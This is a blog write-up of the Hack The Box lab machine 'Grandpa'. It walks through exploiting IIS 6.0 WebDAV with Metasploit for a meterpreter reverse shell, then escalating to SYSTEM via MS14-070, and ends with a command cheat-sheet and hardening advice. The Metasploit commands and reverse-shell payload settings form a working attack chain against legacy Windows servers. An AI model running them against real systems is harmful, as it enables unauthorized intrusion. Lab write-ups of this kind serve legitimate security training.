Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

Hack The Box - Grandpa

Hack The Box - Grandpa: Gain initial access to the target and escalate privileges to obtain user and root/Administrator flags on the Hack The Box machine “Granda”. • HackTheBox • msf, msf-venom

2019-05-237 tags
Tags

🎯 Objective

Gain initial access to the target and escalate privileges to obtain user and root/Administrator flags on the Hack The Box machine “Granda”.


🧭 Summary

  • Target runs Microsoft IIS 6.0 with WebDAV enabled.
  • Initial foothold via IIS WebDAV ScStoragePathFromUrl exploit (Metasploit).
  • Post‑exploitation: migrate to a stable process and use Local Exploit Suggester.
  • Privilege escalation using MS14-070 (tcpip ioctl) → NT AUTHORITY\SYSTEM.
  • Grab flags and outline mitigations.

🧪 Reconnaissance

Nmap (top ports, version detection)

Nmap scan

  • Service banner indicated Microsoft IIS httpd 6.0.
  • Full port sweeps did not reveal other interesting services.

Additional sweep: Additional scan

Web surface

  • Kicked off Dirb and Nikto in the background.
  • Nikto highlighted a broad set of HTTP methods including PUT, MOVE, PROPFIND, and WebDAV indicators.

Methods observed: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH


🔎 Enumeration & Initial Access

Attempted WebDAV PUT (manual & Metasploit)

  • Tried uploading via curl WebDAV — server responded with 500, though files appeared browsable.
  • Switched to Metasploit http_put to simplify uploads, but execution blocked by server behavior.

Chaining to Remote Code Execution

  • Identified likely vuln set for IIS 6.0/WebDAV from searchsploit/metasploit.
  • Selected: exploit/windows/iis/iis_webdav_scstoragepathfromurl

Module selection: MSF module

Result: meterpreter session established.


🧰 Post‑Exploitation (User)

Process Migration

Background the session and migrate into a stable process (e.g., notepad) to avoid instability and unlock token access:

text
post/windows/manage/migrate

Evidence: Migrate

User context after migration:

text
Server username: NT AUTHORITY\NETWORK SERVICE

Grabbed user flag: User flag


⬆️ Privilege Escalation (to SYSTEM)

Local Exploit Suggester

With a stable session:

text
multi/recon/local_exploit_suggester

Findings included:

  • ms14_058_track_popup_menu
  • ms14_070_tcpip_ioctl ✅
  • ms15_051_client_copy_image
  • ms16_016_webdav
  • ms16_032_secondary_logon_handle_privesc
  • ppr_flatten_rec

Working path: MS14‑070

Execute:

text
exploit/windows/local/ms14_070_tcpip_ioctl

Gained NT AUTHORITY\SYSTEM: SYSTEM privesc

Now collect root/Administrator flag.


🧾 Commands & Payloads (Cheat‑Sheet)

Scanning

bash
nmap -sC -sV -T4 -oA granda_initial 10.10.10.X

Metasploit (Foothold)

text
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
set RHOSTS 10.10.10.X
set RPORT 80
set TARGET 0
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <vpn_ip>
set LPORT 4444
run

Stabilize & Suggest

text
background
use post/windows/manage/migrate
set SESSION 1
run

use multi/recon/local_exploit_suggester
set SESSION 1
run

PrivEsc

text
use exploit/windows/local/ms14_070_tcpip_ioctl
set SESSION 1
run
getuid

🛡️ Mitigations & Hardening

  • Decommission IIS 6.0; upgrade to supported IIS on a supported OS.
  • Disable WebDAV unless strictly required.
  • Restrict HTTP methods to GET/POST/HEAD only; block PUT/MOVE/PROPFIND/....
  • Network segmentation; restrict admin interfaces by IP.
  • EDR to flag meterpreter‑like behaviors, process injections, and suspicious child processes (e.g., notepad.exe spawned for migration).
  • Patch Windows per MS14-070 and related bulletins; enforce regular patch cadence.

📌 Notes & Lessons Learned

  • WebDAV on legacy IIS is a classic initial foothold vector.
  • If uploads are flaky, pivot to remote code execution vulns instead of fighting WebDAV quirks.
  • Migrate early for session stability; then run local exploit suggester.
  • Always re‑run suggester after migration; token and process context matter.
Navigate

In this post

  1. 01🎯 Objective
  2. 02🧭 Summary
  3. 03🧪 Reconnaissance
  4. 04Nmap (top ports, version detection)
  5. 05Web surface
  6. 06🔎 Enumeration & Initial Access
  7. 07Attempted WebDAV PUT (manual & Metasploit)
  8. 08Chaining to Remote Code Execution
  9. 09🧰 Post‑Exploitation (User)
  10. 10Process Migration
  11. 11⬆️ Privilege Escalation (to SYSTEM)
  12. 12Local Exploit Suggester
  13. 13Working path: MS14‑070
  14. 14🧾 Commands & Payloads (Cheat‑Sheet)
  15. 15Scanning
  16. 16Metasploit (Foothold)
  17. 17Stabilize & Suggest
  18. 18PrivEsc
  19. 19🛡️ Mitigations & Hardening
  20. 20📌 Notes & Lessons Learned
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.